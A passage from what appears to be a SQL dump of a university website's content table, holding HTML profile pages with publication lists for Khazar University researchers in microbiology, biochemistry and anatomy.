54 - 5.<strong>&nbsp;</strong><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/25084645\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1016/j.fm.2014.05.020 </a></p><p><em>Staphylococcus aureus </em>mobile genetic elements. <strong>Alibayov, B.</strong>; Baba-Moussa, L.; Sina, H.; Zdeňková, K.; Demnerová, K. Mol. Biol. Rep. 2014, 41(8), 5005 - 501.&nbsp;&nbsp;&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pubmed/24728610\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1007/s11033-014-3367-3 </a></p><p>Detection of some phenotypic and genotypic characteristics of <em>Staphylococcus aureus</em> Isolated from food items in the Czech Republic. <strong>Alibayov, B.</strong>; Zdeňková, K.; Purkrtová, S.; Demnerová, K.; Karpíšková, R. Ann. Microbiol. 2014, 64 (4), 1587 - 1596.<strong>&nbsp;</strong><a href=\"https://link.springer.com/article/10.1007/s13213-014-0802-6\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1007/s13213-014-0802-6 </a></p><p>Production of staphylococcal enterotoxin C in milk. Valihrach, L.;&nbsp;<strong>Alibayov, B.</strong>; Demnerova, K. Int. Dairy J. 2013, 30 (2), 103 - 107.&nbsp;<a href=\"http://www.sciencedirect.com/science/article/pii/S0958694613000289\">doi: 10.1016/j.idairyj.2013.01.003</a></p><p><br></p><p>Refereed Conference Papers and Abstracts:</p><p><strong>Alibayov B.</strong>, Zdeňková K., DemnerováK. Molecular typing of enterotoxigenic<em> Staphylococcus aureus</em> strains by PCR and pulsed - gel electrophoresis. MedVetNet Association International Scientific Conference, Poster. Denmark, 24 - 25 June 2013.</p><p><strong>Alibayov B.</strong>, Zdeňková K., Demnerová K. Molecular characterization of enterotoxigenic and antibiotic-resistant <em>Staphylococcus</em> strains from food samples. 24thInternational ICFMH conference, FOOD MICRO 2014, Poster. Nantes (France),1 - 4 September 2014.</p><p><strong>Alibayov B.</strong>, Cahova H. Application of NAD captureSeq on viruses. 17th Symposium on Chemistry of Nucleic Acid Components, Poster. Český Krumlov (Czech Republic), 4 - 9 June 2017.</p></div>'),(4696,2786,'en','Babak Alibayov','Babak Alibayov',''),(820,554,'en','Publications','Publications','<p><a href=\"http://www.khazar.org/en/menus/527/irada_khalilova\">Irada Khalilova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/az/menus/1250/babek_elibeyov\">Babak Alibayov</a></p><p><a href=\"http://www.khazar.org/en/menus/918/javid_ocaghi_\">Javid Ocaghi</a></p><p><a href=\"http://www.khazar.org/en/menus/920/zaur_karimov\"></a><a href=\"http://www.khazar.org/en/menus/917/huseyn_jafarov_\">Huseyn Jafarov</a></p>'),(1970,1203,'az','Hüseyn Cəfərov ','Hüseyn Cəfərov ',''),(1971,1203,'en','Huseyn Cafarov ','Huseyn Cafarov ','<div><img src=\"/files/image/14_12_24_Huseyn_Jafarov.jpg\" style=\"width:150px;height:187px;margin:7px;float:right\"><br></div><div><p><strong>PhD\r\nstudent </strong></p><p><span style=\"color:#000000\">Email:</span>&nbsp;<a href=\"mailto:huseyn.jafarov@khazar.org\">huseyn.jafarov@khazar.org</a></p>\r\n<p>Tel: +994 12 421 6335 (242)<strong></strong></p>\r\n<p>He is studying WRKY <em>(tryptophan (W), arginine (R), lysine (K),\r\ntyrosine (Y))</em> family of transcription factors and their phylogenetic origin\r\nin tomato and potato crops.</p></div><br><p><strong>Huseyn Cafarov</strong> received his\r\nMSc degree in Biological Sciences (division - Biochemistry &amp; Biotechnology)\r\nfrom Baku State University (2013). In different years he participated in various\r\nbiological and biotechnological trainings (Prague, Czech Republic - 2012-2013,\r\nand Mannheim, Germany - 2013).&nbsp;<o:p></o:p></p><div><br></div>'),(821,561,'az','İradə Xəlilova','İradə Xəlilova',''),(822,561,'en','Irada Khalilova','Irada Khalilova','<div><br></div><p><strong>PUBLICATIONS AND PROJECT TITLES:</strong> <br></p><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><p>Refereed Journal Papers:&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif\">Dickerhof N, Turner R, <strong>Khalilova I</strong>, Fantino E, Sly PD, Kettle AJ, Arest&nbsp;CF. (2017). Oxidized glutathione and uric acid as biomarkers of early cystic fibrosis lung disease. &nbsp;<em>J Cyst Fibros.&nbsp;</em>16(2):214-221. <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/27889352\">doi: 10.1016/j.jcf.2016.10.012</a></p><p><span style=\"font-family:\'times new roman\', times, serif\">Seidel A, Parker H, Turner R, Dickerhof N,&nbsp;</span><strong style=\"font-family:\'times new roman\', times, serif\">Khalilova IS,</strong><span style=\"font-family:\'times new roman\', times, serif\">&nbsp;Wilbanks SM, Kettle AJ, Jameson&nbsp; GNL. (2014). Uric acid and thiocyanate as competing substrates of lactoperoxidase. &nbsp;</span><em style=\"font-family:\'times new roman\', times, serif\">J Biological Chemistry,&nbsp;</em><span style=\"font-family:\'times new roman\', times, serif\">289(32):21937-21949.&nbsp;</span><a href=\"http://europepmc.org/abstract/MED/24928513\" target=\"_blank\" style=\"font-family:\'times new roman\', times, serif\"><strong>doi:</strong><strong>&nbsp;</strong>10.1074/jbc.M113.544957</a></p><p><span style=\"font-family:\'times new roman\', times, serif\">Stamp LK, Turner R,&nbsp;</span><strong style=\"font-family:\'times new roman\', times, serif\">Khalilova IS,</strong><span style=\"font-family:\'times new roman\', times, serif\">&nbsp;Zhang M, Drake J, Forbes LV, Kettle AJ. (2014). Myeloperoxidase and oxidation of uric acid in gout: implications for the clinical consequences of </span>hyperuricaemia<span style=\"font-family:\'times new roman\', times, serif\">.</span><em style=\"font-family:\'times new roman\', times, serif\">&nbsp;J. Rheumatology (Oxford),</em><span style=\"font-family:\'times new roman\', times, serif\">&nbsp;pp. 266-273.</span><strong style=\"font-family:\'times new roman\', times, serif\">&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/24899662\" target=\"_blank\" style=\"font-family:\'times new roman\', times, serif\"><strong>doi:</strong>&nbsp;10.1093/rheumatology/keu218</a></p><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kettle AJ,&nbsp;Turner R,&nbsp;Gangell CL,&nbsp;<strong>Khalilova IS</strong>, Harwood DT,&nbsp;Chapman AL,&nbsp;Winterbourn CC,&nbsp;Sly PD. (2014).&nbsp;Oxidation contributes to low glutathione in the airways of children with cystic fibrosis.&nbsp;<em>European Respiratory Journal</em>, 44:122-129.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/24659542\" target=\"_blank\"><strong>doi:</strong>&nbsp;10.1183/09031936.00170213&nbsp;</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kettle AJ, Albrett AM, Chapman AL, Dickerhof N, Forbes LV,&nbsp;<strong>Khalilova I,</strong>&nbsp;Turner R. (2014). Measuring chlorine bleach in biology and medicine<em>. Biochimica et Biophysica Acta,&nbsp;</em>vol. 1840, issue 2, pp. 781-793.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/23872351\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1016/j.bbagen.2013.07.004</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Chapman AL, Mocatta TJ, Shiva S, Seidel A, Chen B,&nbsp;<strong>Khalilova I,</strong>&nbsp;Paumann-Page ME, Jameson GN, Winterbourn CC, Kettle AJ<em>.</em><em>(2013).&nbsp;</em>Ceruloplasminin is an endogenous inhibitor of myeloperoxidase.<em>&nbsp;J. Biological Chemistry,</em>&nbsp;288:6465-6477.&nbsp;&nbsp;&nbsp;<a href=\"http://europepmc.org/abstract/MED/23306200\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1074/jbc.M112.418970</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Forbes LV,&nbsp;Paul G Furtmüller PG,&nbsp;<strong>Khalilova I,&nbsp;</strong>Turner R, Obinger C,&nbsp;Kettle AJ.&nbsp;(2012). Isoniazid as a substrate and inhibitor of myeloperoxidase: identification of amine adducts and the influence of superoxide dismutase on their formation.<em>&nbsp;J. Biochemical pharmacology,</em>&nbsp;84(7): pp.949-60.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/22846601\" target=\"_blank\"><strong>doi:</strong><strong>&nbsp;</strong>10.1016/j.bcp.2012.07.020</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Stamp LK,&nbsp;<strong>Khalilova I,&nbsp;</strong>Tarr JM, Senthilmohan R,&nbsp;Turner R,&nbsp; Haigh RC,&nbsp; Winyard&nbsp;PG, Kettle AJ.&nbsp;(2012). Myeloperoxidase and oxidative stress in rheumatoid arthritis.&nbsp;&nbsp;<em>J.Rheumatology (Oxford, England)</em>, 51(10): pp. 1796-803.<strong>&nbsp;</strong><a href=\"http://europepmc.org/abstract/MED/22814531\" target=\"_blank\"><strong>doi:</strong>&nbsp;10.1093/rheumatology/kes193</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Orudzhev AG,&nbsp;Guseĭnova EE,&nbsp;<strong>Khalilova</strong><a href=\"http://www.ncbi.nlm.nih.gov/pubmed/?term=Khalilova%20IS%5BAuthor%5D&amp;cauthor=true&amp;cauthor_uid=12715396\"><strong>&nbsp;</strong></a><strong>IS,&nbsp;</strong>Dzhavadov SA. (2003). Assessment of endogenous intoxication and thrombocyte functions in beta-thalassemia.&nbsp;<em>J.Clinical Laboratory Diagnostics,&nbsp;</em>(3):39-41. Russia, ISSN 0869-2084.&nbsp;<a href=\"http://www.ncbi.nlm.nih.gov/pubmed/12715396\" target=\"_blank\">PMID:12715396</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS.</strong>&nbsp;(2002). Estimation of the proteolytic system in blood during beta thalassemia.&nbsp;<em>J.Actual Problems of Hematology and Transfusiology</em>, pp.81-85, Azerbaijan.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Orujov AG, Huseynova EE, Alekperova GA. (2002). Immunobiological violations of phormennous elements of blood during beta thalassemia.&nbsp;<em>Journal of Azerbaijan Biophysical Association,</em>&nbsp;pp.215-223, Azerbaijan.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Guseinova EE,&nbsp;<strong>Khalilova IS</strong>, Dzhavadov SA. (2002). Proteolytic blood system in hemoglobinophaty.&nbsp;<em>J. Haematology and Transfusiology</em>, vol.47, N. 4, pp.33-35, Russia ISSN 0234-5730.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Jokharidze TZ, Gelfgat EB, Javadov SA. (1994). Development of experimental model of the immunosorbent for removal antibodies to insulin.&nbsp;<em>J. Immunology</em>, N.3, pp.58-61, Russia, ISSN 0206-4952.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Jokharidze TZ, Javadov SA.(1993). Research on possibilities for removing antibodies to insulin from circulation.&nbsp;<em>In the book: Oncology and related sciences nowadays,</em>&nbsp;pp.38-39, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Javadov SA. (1993). Correlation between main parameters of immune status and levels of anti-insulin antibodies in patients with diabetes mellitus type I and II.&nbsp;<em>In the book: Oncology and related sciences nowadays</em>, pp.36-38, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>,&nbsp; Jokharidze TZ, Gelfgat EB, Javadov SA. (1993). Evaluation the immune status in patients with diabetes mellitus types I and II.&nbsp;<em>Azerbaijan Medical Journal,</em>&nbsp;N.7-8, pp.38-41, Baku, ISSN 0005-2523.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Gelfgat EB,&nbsp; Jokharidze TZ, Javadov SA. (1993). Main parameters of the immune system and levels of insulin antibodies during diabetes mellitus.&nbsp;<em>J. Immunology</em>, N.3, pp.46-48, Russia, ISSN 0206-4952.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Jokharidze TZ, Gelfgat EB,&nbsp; Javadov SA. (1992). Immunosorbent preparation for the anti-insulin antibodies removal from the insulin-resistant diabetic patients’ plasma.&nbsp;<em>Azerbaijan Medical Journal</em>, N.7-8, pp.12-16, Baku ISSN 0005-2523.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Jokharidze TZ, Javadov SA. (1991). Elaboration of experimental model of immunosorbent for removing antibodies to insulin from circulation.&nbsp;<em>In Publications of Transactions of the National Academy of Sciences of (biological sciences series),&nbsp;</em>pp.5-8, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Refereed Conference Papers and Abstracts:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Stamp LK,&nbsp;<strong>Khalilova I,</strong>&nbsp;Turner R, Chapman P, O’Donnell J, Kettle A.&nbsp;(2014).<em>&nbsp;</em>&nbsp;Oxidative Stress from Use of Allopurinol - Is There a Reason for Patients with Gout to Take Vitamin C?&nbsp;<em>American College of Rheumatology/Association of Rheumatology Health professionals</em>, ACR/ARHP ANNUAL MEETING.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Stamp LK,&nbsp;<strong>Khalilova I,</strong>&nbsp;Zhang M, Turner R, Kettle A.&nbsp;(2012). Oxidation of urate to allantoin by myeloperoxidase in gout.&nbsp;<em>Arthritis &amp; Rheumatism</em>, vol.64,&nbsp;November 9-14, Suppl 10:1903, DOI: 10.1002/art.39635.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kettle AJ, Turner R, Gandell CL,&nbsp;<strong>Khalilova I,</strong>&nbsp;Harwood DT, Chapman AL, Winterbourn CC, Sly DT. (2011).&nbsp;Oxidation of glutathione in the airways of young children with cystic fibrosis.<em>&nbsp;American Thoracic Society International Conference Abstracts - B33. Oxidants, Oxidases&nbsp; and&nbsp;</em><em>Redox Regulation of Lung Disease,</em>&nbsp;A2793,&nbsp;<a href=\"http://www.atsjournals.org/doi/abs/10.1164/ajrccm-conference.2011.183.1_MeetingAbstracts.A2793\" target=\"_blank\">10.1164/ajrccm-conference. 183.1_MeetingAbstracts.A2793</a>.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Stamp LK,&nbsp;<strong>Khalilova I,</strong>&nbsp;Kettle A. (2010). Acute Gout Results In Increased Plasma Myeloperoxidase: A Potential Mechanism for Increase Cardiovascular Risk?&nbsp;<em>Supplement,</em><em>&nbsp;Abstracts of the American College of Rheumatology/Association of Rheumatology Health Professionals Annual Scientific Meeting Atlanta</em>, Georgia.&nbsp;<a href=\"http://www.blackwellpublishing.com/acrmeeting/abstract.asp?MeetingID=774&amp;id=89520\" target=\"_blank\">DOI: 10.1002/art.28638</a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova I</strong>, Mocatta T, Marshall C, McClean D, Winterbourn C, Kettle A. (2009). Detection of active and inactive myeloperoxidase in plasma,&nbsp;<em>5<sup>th</sup>&nbsp;Joint Meeting of the Societies for Free Radical Research Australasia and Japan Mutagenesis and Experimental Pathology Society of Australia,&nbsp;</em>Sydney<em>,&nbsp;</em>p.147-148.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Gurbanova MM,&nbsp;<strong>Khalilova IS</strong>. (2001). Comparative research of the basic parameters of cellular and humoral immunity in patients with the posttraumatic haemorrhages eyes during Perftoran treatment.<em>Proceedings of the International Scientific Conference</em>&nbsp;<em>“Family Health in XXI Century”</em>, pp.42-43, Perm (Russia)-Dubai (UAE).</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Huseynova EE. (2002). Study of the thrombocytes and homeostasis during beta thalassemia.&nbsp;<em>Proceedings of the International Scientific Conference</em>&nbsp;<em>“Family Health in XXI Century,”</em>pp.149-150, Perm (Russia)-Dubai (UAE).</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Orujov AG, Huseynova EE,&nbsp;<strong>Khalilova IS</strong>. (2001). The endogenous intoxication state during beta thalassemia.&nbsp;<em>Proceedings of the I Conference of Azerbaijan Society of Biochemists and Molecular Biologists,</em>&nbsp;pp.8-9, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Huseynova EE,&nbsp;<strong>Khalilova IS</strong>. (2000). Interrelation of the protective systems and endogenous intoxication in patients with hemoglobinopathy.&nbsp;<em>Proceedings of the Scientific Conference Dedicated to 100-years Anniversary of A.S.Hasanov</em>, p.62, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Javadov SA, Orujov AH,&nbsp;<strong>Khalilova IS</strong>. (2000). Study of platelet proteins and antibodies during beta thalassemia.&nbsp;<em>Proceedings of the Scientific Conference Dedicated to 100-years Anniversary of A.S.Hasanov</em>, p.57, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Huseynova EE,&nbsp;<strong>Khalilova IS</strong>, Javadov SA. (2000). The endogenous intoxication state and sorption ability of erythrocytes in children’s blood during sickle cell anaemia.&nbsp;<em>Proceeding of the VI Congress of International Society o Immunorehabilitation, J.on Immunorehabilitation,&nbsp;</em>v.2, N.2, p.48, Israel, ISSN 1562-3629.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Orujov AH,&nbsp;<strong>Khalilova IS</strong>. (1999). Definition of different forms of immune complexes and platelet antibodies in children’s blood with beta thalassemia.&nbsp;<em>Proceedings of the II Congress of Azerbaijan Society of Physiologists</em>, p.151, Baku.<em>&nbsp;</em></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Huseynova EE,&nbsp;<strong>Khalilova IS</strong>. (1999). Main parameters of humoral immunity in children with beta thalassemia.&nbsp;<em>Proceedings of the I National Congress of Azerbaijan</em>&nbsp;<em>Society of Allergology, Immunology and Immunorehabilitation</em>, pp.130-131, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Orujov AH,&nbsp;<strong>Khalilova IS</strong>. (1999). Antibodies to thrombocytes in children with beta thalassemia.&nbsp;<em>Proceedings of the I National Congress of Azerbaijan Society of Allergology, Immunology and Immunorehabilitation</em>, p.214, Baku.<em>&nbsp;</em></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Orujov AH,&nbsp;<strong>Khalilova IS</strong>, Javadov SA. (1999). The content of immune complexes and platelet antibodies in patients with beta thalassemia.&nbsp;&nbsp;<em>Proceedings of the Joint Meeting of Pediatric Assembly, European Respiratory Society and European Society of Pediatric Allergy and Clinical Immunology, Allergy:&nbsp;<a href=\"http://onlinelibrary.wiley.com/doi/10.1111/j.1398-9995.1999.tb04397.x/abstract\" target=\"_blank\">European Journal of Allergy &amp; Clinical Immunology,&nbsp;</a></em><a href=\"http://onlinelibrary.wiley.com/doi/10.1111/j.1398-9995.1999.tb04397.x/abstract\" target=\"_blank\">Suppl. 51, v.54, p.1, Berlin, Germany, ISSN 0105-4538.</a>&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Orujov AH,&nbsp;<strong>Khalilova IS</strong>, Javadov SA. (1999). Study of humoral immunity in children with beta thalassemia.&nbsp;<em>Proceedings of the V Congress of International Society on Immunorehabilitation In: International J.on Immunorehabilitation</em>, N.12, p.131, Spain, ISSN 1562-3629.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Javadov SA,&nbsp;<strong>Khalilova IS</strong>. (1998). Heart performance and immunological parameters of blood in patients with diabetic cardiomyopathy.&nbsp;<em>Proceedings of the VII International Symposium on Insulin Receptors and Insulin Action: Molecular and Clinical Aspects,</em>&nbsp;p.217, Jerusalem, Israel.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Jokharidze TZ, Javadov SA. (1996). Content of minor, medium and large immune complexes, including immune globulins A, M, G classes in children with homozygous type of beta thalassemia.&nbsp;<em>Proceedings of the III Congress of Biochemists of Azerbaijan</em>, Baku</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>. (1995). An experimental model approbation of immune sorbents based on CNBr-sepharose.&nbsp;<em>Proceedings of the Scientific Conference of Azerbaijan Medical University</em>, Baku.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Javadov SA,&nbsp;<strong>Khalilova</strong><strong>&nbsp;IS</strong>. (1994) Investigation of correlation between main parameters of immune status and levels of insulin antibodies in patients with I and II types of diabetes mellitus.<em>Proceedings of the Annual Conference of Azerbaijan Medical University,</em>&nbsp;pp.145-146.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova</strong><strong>&nbsp;IS,</strong>&nbsp;Javadov SA. (1994) Study of possibility for the insulin antibodies removal from circulation.&nbsp;<em>Proceedings of the Annual Conference of Azerbaijan Medical University</em>, pp.146-147.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Gelfgat EB, Jokharidze TZ,&nbsp;<strong>&nbsp;Khalilova IS</strong>, Javadov SA. (1990). Comparative studies of binding capability of sepharose and cellulose while preparing immune sorbents for removing antibodies to insulin.&nbsp;<em>Proceedings of the I Conference of Azerbaijan Biochemical Society,</em>&nbsp;p.51.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Conference Contribution - Verbal presentation and other Conference outputs</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Dickerhof N, Mocatta T, Kettle AJ. (2013).&nbsp;Pro-myeloperoxidase is present in circulation and a potential participant in cardiovascular disease.&nbsp;<em>Redox Conference</em><em>&nbsp;</em><em>of the Queenstown Molecular Biology Meeting Society</em>. Queenstown, New Zealand.<em>&nbsp;</em></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova IS</strong>, Dickerhof N, Mocatta T, Kettle AJ.&nbsp;(2012). Detection of pro-myeloperoxidase in circulation.&nbsp;<em>Oxygen Theme Meeting, University of Otago</em>, Dunedin, New Zealand.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Khalilova I</strong>, Chambers ST, Murdoch DR, Kettle AJ.<strong>&nbsp;(2010).&nbsp;</strong>Measurement of myeloperoxidase in urine for the detection of urinary tract infections.&nbsp;<em>19th Annual Conference of the Societies for Free Radical Research Australasia<em>,&nbsp;</em></em>Akaroa, New Zealand.</p>  <br></div>'),(823,562,'az','Müşfiq Orucov','Müşfiq Orucov','<div><br></div><div> <div><embed style=\"background:undefined\" type=\"application/x-shockwave-flash\">\"&gt;<strong>Journal - Research Articles</strong></div><div style=\"background:undefined\">Orujov MT, Gasimov EK, Akbarov ECh. (2007).&nbsp;Ultrastructural and morphometrical features of intraocular part of white rat optic nerve. Azerbaijan Medical Journal, 4:141-143. ISSN: 0005-2523, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Orujov MT. The ultrastructural organization of arachnoid of the white rat optic nerve. (2006). Azerbaijan Medical Journal, 2:99-102, ISSN: 0005-2523, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK., Akbarov ECh, Orujov MT, Bagirov MZ. (2003). Histotopographical interrelations and structural features of elements of dura mater and arachnoid. Medical Journal \"Health\", 5:43-47, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Nadzhafova TM, Orujov MT, Bagirov MZ. (2003). About the mechanism of occurrence of an endoneural edema at influence of histamine. Azerbaijan Medical Journal, 2-3:31-37, ISSN: 0005-2523, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT. (2001). Sources and histotopographic characteristics of blood vessels in various parts of the optic nerve (review). Medical Journal \"Health\", 7:67-71, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Orujov MT. (2001). Interrelation of structural elements of sheaths, nerve fibers and blood vessels in the field of subarachnoidal angle of the white rat optic nerve. Medical Journal \"Vita\", 3-4:16-22, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT, Gasimov EK. (2001). Histotopographical relations of sheaths, vessels and nerve fibers in the intraorbital part of the white rat optic nerve. Azerbaijan Medical Journal, 3:25-30, ISSN: 0005-2523, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Orujov MT. (2001). Ultrastructural changes of elements of walls of the epi- and endoneural microvessels at hypervolemic edema in white rat. Journal of Experimental and Clinical Medicine, 4:39-40, Tbilisi, Georgia.</div><div style=\"background:undefined\">&nbsp;</div><div style=\"background:undefined\"><strong>Conference Contribution - Published proceedings: Abstract</strong></div><div style=\"background:undefined\">Gasanov AB, Gasanov RP, Musayev JS, Orujov MT. (2016). Pathomorphological features of adrenal glands during the chronically cannabinoid narcomania. Scientific collector dedicated to the 90-years anniversary of the Department of Public Health and Public Health Services Organization of Azerbaijan Medical University, 4:129-134, Baku. Azerbaijan.</div><div style=\"background:undefined\">Orujov MT. (2014). Features of vascular system of the intracranial part of white rat optic nerve. Materials of the Scientific Conference dedicated to the 95th Anniversary of the Department of Human Anatomy of Azerbaijan Medical University, p.253-257, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT. (2014). The ultrasrtuctural and morphometrical characteristics of the intraocular part of white rat optic nerve. Abstracts of the 18th Congress of the International Federation of Associations of Anatomists (IFAA 2014-2-007). Anatomy from gross to molecular and digital. Published in: Ann. Anat. 196(S1):61, ISSN 0940-96021, Beijing, China.</div><div style=\"background:undefined\">Orujov MT. (2013). Age changes of meningeal-neural relations of the human optic nerve. Materials of the Scientific Conference dedicated to the 70th Anniversary of the Professor B.M.Ashurov, p.290, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT. (2012). Morpho-functional features of subarachnoidal angle of the white rat optic nerve. Materials of the XI Conference of International Morphologists Association. Samara, Russia. Published in: Scientific Theoretical Medical Journal Morphology, ISSN: 0004-1947, 141(3):119, Russia.</div><div style=\"background:undefined\">Orujov MT, Buniatzade EJ, Shahmamedova AI, Tahirova SN, Quliyev MI. (2010). Histotopography and ultrastructural organization of sclera. Materials of the International Scientific Conference dedicated to the 80th Anniversary of the Azerbaijan Medical University. p.475-476, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT, Gasimov EK. (2008). Morpho-functional characteristics of fibrillary astrocytes of white rat optic nerve. Materials of the Scientific Conference dedicated to the 75th Anniversary of the Professor R.A.Askerov, p.183-187, Baku, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Orujov MT. (2008). Anisotropy in amount of blood vessels on course of the optic nerve. Materials of the IX Conference of International Morphologists Association. Uzbekistan, Bukhara. Published in: Scientific Theoretical Medical Journal Morphology, ISSN: 0004-1947, 133(2):30-31, Russia.</div><div style=\"background:undefined\">Orujov MT, Gasimov EK, Akbarov ECh. (2006). Histotopography and ultrastructure of vessels of the intraocular part of optic nerve. Materials of the International Scientific Conference dedicated to the 100th Anniversary of the Professor K.A.Balakishiyev, p.332-335, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT, Gasimov EK. (2004). Histotopographical and ultrastructural features of structure of the laminar part of white rat optic nerve. Materials of the International Scientific Conference dedicated to the 80th Anniversary of the Professor M.S.Abdullayev. p.314-319, Baku, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Orujov MT, Bagirov MZ. (2003). Histotopography and ultrastructural features of structure of sheath and peripheral glial elements in intracranial part of the optic nerve. Materials of the Scientific Conference dedicated to the 80th Anniversary of the Professor Z.M.Salayeva. p.54-56, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT, Gasimov EK, Najafova TM, Bagirov MZ. (2003). Histotopography and ultrastructural features of structure of the arteries participating in blood supply of intracranial part of the optic nerve. Materials of the Scientific Conference dedicated to the 80th Anniversary of the Professor Z.M.Salayeva. p.151-153, Baku, Azerbaijan.</div><div style=\"background:undefined\">Orujov MT. (2002). Myeloarchitectonics and neuroglial interrelations in trunk of an orbital part of the white rat optic nerve. Materials of the VIII Republican Conference of Post-graduate Students and Young Researchers, p.52-53, Baku. Azerbaijan.</div><div style=\"background:undefined\">Orujov M.T. (2001). Intratrunkial structure of an intracranial part of the white rat optic nerve. Materials of the IV Congress of Allergologists and Immunologists of the CIS. Published in: Journal Allergology and Immunology, ISSN 1562-3637, 2(2):134, Moscow, Russia.</div><div style=\"background:undefined\">Orujov MT. (2001). Composition of microvessels localized in initial part of the optic nerve. Materials of the Scientific Conference dedicated to the 70th Anniversary of the Professor T.A.Aliyev. p.96-97, Baku, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Orujov MT. (2000). The structural bases of the mechanism of maintenance of high hydrostatic pressure in endoneurial space of peripheral nerves. Materials of the Scientific Conference dedicated to the 70th Anniversary of Azerbaijan Medical University. p.135, Baku, Azerbaijan.</div><div style=\"background:undefined\">Gasimov EK, Akbarov EK, Orujov MT. (2000). Permeability peculiarities of vascular and sheath derivatives localized in initial parts of peripheral nerves. Materials of the Scientific Conference dedicated to the 80th Anniversary of the Morphological Departments of Azerbaijan Medical University, p.81-83, Baku, Azerbaijan.</div><div style=\"background:undefined\">&nbsp;</div><div style=\"background:undefined\"><strong>Tutorials and Handbooks</strong></div><div style=\"background:undefined\">Akbarov EK, Orujov MT. (2007). Clinical anatomy of the cranial nerves. Tutorial, ISBN 10 